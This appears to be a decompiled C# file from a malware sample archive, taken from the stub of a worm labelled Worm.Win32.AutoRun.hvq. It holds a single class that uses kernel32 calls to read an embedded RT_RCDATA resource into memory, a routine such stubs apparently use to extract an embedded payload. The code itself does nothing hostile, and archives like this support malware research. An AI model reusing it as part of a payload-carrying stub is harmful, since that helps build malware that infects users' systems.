MalwareSourceCode/MSIL/Worm/Win32/A/Worm.Win32.AutoRun.hvq-1a05e2bf2933df28485ce43bcb7274cfc2bd455dd9a6472cef1260454451db86/ResourceReader.cs

// Decompiled with JetBrains decompiler
// Type: ResourceReader
// Assembly: Stub, Version=2.0.2.0, Culture=neutral, PublicKeyToken=null
// MVID: 2ADEE861-B489-4B94-AFAF-878A34E8554C
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Worm.Win32.AutoRun.hvq-1a05e2bf2933df28485ce43bcb7274cfc2bd455dd9a6472cef1260454451db86.exe

using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Runtime.InteropServices;

[StandardModule]
internal sealed class ResourceReader
{
  [DllImport("kernel32.dll", SetLastError = true)]
  private static extern IntPtr FindResource(IntPtr hModule, string lpName, string lpType);

  [DllImport("kernel32", EntryPoint = "GetModuleHandleA", CharSet = CharSet.Ansi, SetLastError = true)]
  private static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.VBByRefStr)] ref string moduleName);

  [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
  private static extern int SizeofResource(IntPtr hModule, IntPtr hResInfo);

  [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
  private static extern IntPtr LoadResource(IntPtr hModule, IntPtr hResInfo);

  public static byte[] ReadResource(string filename)
  {
    IntPtr moduleHandle = ResourceReader.GetModuleHandle(ref filename);
    IntPtr resource = ResourceReader.FindResource(moduleHandle, "0", "RT_RCDATA");
    IntPtr source = ResourceReader.LoadResource(moduleHandle, resource);
    int length = ResourceReader.SizeofResource(moduleHandle, resource);
    byte[] destination = new byte[checked (length - 1 + 1)];
    Marshal.Copy(source, destination, 0, length);
    return destination;
  }
}